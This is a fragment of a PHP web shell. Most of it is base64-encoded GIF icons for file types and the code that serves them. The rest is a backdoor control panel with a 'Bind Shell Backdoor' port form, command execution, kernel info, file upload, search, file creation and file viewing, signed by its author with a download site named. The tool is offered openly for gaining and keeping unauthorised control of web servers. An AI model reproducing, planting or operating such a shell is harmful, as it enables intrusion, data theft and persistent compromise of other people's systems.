"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". "Ow==", "ext_doc"=> "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", "ext_exe"=> "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". "xhIAOw==", "ext_h"=> "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". "Wq/NknbbSgAAOw==", "ext_hpp"=> "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". "UqUagnbLdZa+YFcCADs=", "ext_htaccess"=> "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". "AAA7", "ext_html"=> "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". "ADs=", "ext_jpg"=> "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". "FxEAOw==", "ext_js"=> "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". "a00AjYYBbc/o9HjNniUAADs=", "ext_lnk"=> "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". "ADs=", "ext_log"=> "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", "ext_php"=> "R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0OqpaGeyYpqJlRG/rlwAADs=", "ext_pl"=> "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", "ext_swf"=> "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", "ext_tar"=> "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". "u4tLAgEAOw==", "ext_txt"=> "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". "UpPWG3Ig6Hq/XmRjuZwkAAA7", "ext_wri"=> "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", "ext_xml"=> "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". "IQA7" ); $imgequals = array( "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), "ext_html"=>array("ext_html","ext_htm"), "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), "ext_lnk"=>array("ext_lnk","ext_url"), "ext_ini"=>array("ext_ini","ext_css","ext_inf"), "ext_doc"=>array("ext_doc","ext_dot"), "ext_js"=>array("ext_js","ext_vbs"), "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), "ext_wri"=>array("ext_wri","ext_rtf"), "ext_swf"=>array("ext_swf","ext_fla"), "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") ); if (!$getall) { header("Content-type: image/gif"); header("Cache-control: public"); header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); header("Cache-control: max-age=".(60*60*24*7)); header("Last-Modified: ".date("r",filemtime(__FILE__))); foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} if (empty($images[$img])) {$img = "small_unk";} if (in_array($img,$ext_tar)) {$img = "ext_tar";} echo base64_decode($images[$img]); } else { foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]
    ");}}}} natsort($images); $k = array_keys($images); echo "
    "; foreach ($k as $u) {echo $u.":
    ";} echo "
    "; } exit; } if ($x == "about") { echo "
    You can download the shell from www.fx0.name "; } if ($x == "shbd"){ $msg = $_POST['backcconnmsg']; $emsg = $_POST['backcconnmsge']; echo("
    Bind Shell Backdoor:

    Bind Port:
    "); echo("$msg"); echo("$emsg"); echo("
    "); } echo "\n"; ?>
    .: COMMANDS PANEL :.
    Command:
    -
    Quick Commands:
    -
    Kernel Info:
    -
    Upload:
    -
    Search:
      - regexp 
    Make File:
    -
    View File:
    -
    POW3R3D by AbU DhAbI - POW3R3D by AbU DhAbI -